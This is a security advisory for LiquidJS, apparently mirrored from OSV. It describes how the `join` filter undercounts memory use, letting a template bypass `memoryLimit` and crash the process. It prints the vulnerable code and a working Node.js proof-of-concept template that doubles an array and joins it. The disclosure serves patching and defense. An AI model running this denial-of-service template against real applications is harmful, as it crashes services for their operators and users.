GHSA-4r6h-5v86-94p3

Suggest an improvement
Source
https://github.com/advisories/GHSA-4r6h-5v86-94p3
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-4r6h-5v86-94p3/GHSA-4r6h-5v86-94p3.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-4r6h-5v86-94p3
Aliases
Downstream
MINI (2)
Published
2026-09-08T18:10:35Z
Modified
2026-09-08T18:15:03Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
LiquidJS: Uncontrolled Resource Consumption in `join` filter allows template authors to bypass `memoryLimit` and crash the process
Details

Summary

The join filter (src/filters/array.ts:8-13) charges memoryLimit by array element count, not by the string length it produces, letting a template bypass a configured memoryLimit and allocate strings far past budget — bounded only by V8/process limits, not by memoryLimit.

Details

// src/filters/array.ts:8-13
export const join = argumentsToValue(function (this: FilterImpl, v: any[], arg: string) {
  const array = toArray(v)
  const sep = isNil(arg) ? ' ' : stringify(arg)
  const complexity = array.length * (1 + sep.length)   // element COUNT, not element sizes
  this.context.memoryLimit.use(complexity)
  return array.join(sep)                                // allocates sum(element lengths) + separators
})

concat (array.ts:72) is the enabler: it charges by element count too, but only copies references (cheap for both limiter and heap), so an array's element count can be doubled repeatedly at near-zero real cost. join is where the bug lives — it's the call that actually materializes all referenced content into one string, and its own charge (array.length) doesn't reflect that.

Same undercounting class as already-fixed replace (GHSA-mmg9-6m6j-jqqx), replace_first (GHSA-6q5m-63h6-5x4v), date/strftime (GHSA-hh27-hf48-9f5q) — join wasn't covered. Sibling array_to_sentence_string (src/filters/string.ts:210) has the identical defect.

PoC

Live-reproduced against liquidjs@10.27.1, Node v24.3.0.

const { Liquid } = require('liquidjs');
const engine = new Liquid({ memoryLimit: 1e7 }); // 10M-unit DoS defense

const E = 5000, DOUBLINGS = 13;
const chunk = 'a'.repeat(E);
let tpl = `{%- assign s = "${chunk}" -%}{%- assign a = s | split: "NOSUCHSEP" -%}`;
for (let i = 0; i < DOUBLINGS; i++) tpl += `{%- assign a = a | concat: a -%}`; // 1 -> 8192 elements
tpl += `{%- assign out = a | join: "" -%}{{ out | size }}`;

const len = Number(engine.renderSync(engine.parse(tpl))); // succeeds — should be blocked
console.log('output length:', len);  // output length: 40960000

Verified by binary-search on memoryLimit: render is blocked at 29573, succeeds at 29574 — confirming total charge across split+13×concat+join is exactly 29,574 units (split 5000, concat 16382, join 8192). Output length: 40,960,0001385x the total charged, >4x the configured 10,000,000-unit limit. Scaling DOUBLINGS grows output exponentially for linear charge growth, driving toward gigabytes and a RangeError: Invalid string length / V8 OOM crash.

Impact

Any app rendering attacker-influenced templates with memoryLimit set (LiquidJS docs list it as covering "array concat/join/strftime") can have that control bypassed by one short template, forcing allocation well past budget up to a process crash. split/concat are correctly charged; the gap is join's own accounting of its own output. (LiquidJS's security-model docs call these limits "cooperative safeguards, not strict isolation" — doesn't change that join's charge is wrong relative to what it allocates.)

Database specific
{
    "cwe_ids":  [
        "CWE-400"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-09-08T18:10:35Z",
    "nvd_published_at":  "2026-08-19T21:17:31Z",
    "severity":  "HIGH"
}
References

Affected packages

npm / liquidjs

Package

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
10.27.2

Database specific

last_known_affected_version_range
"<= 10.27.1"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-4r6h-5v86-94p3/GHSA-4r6h-5v86-94p3.json"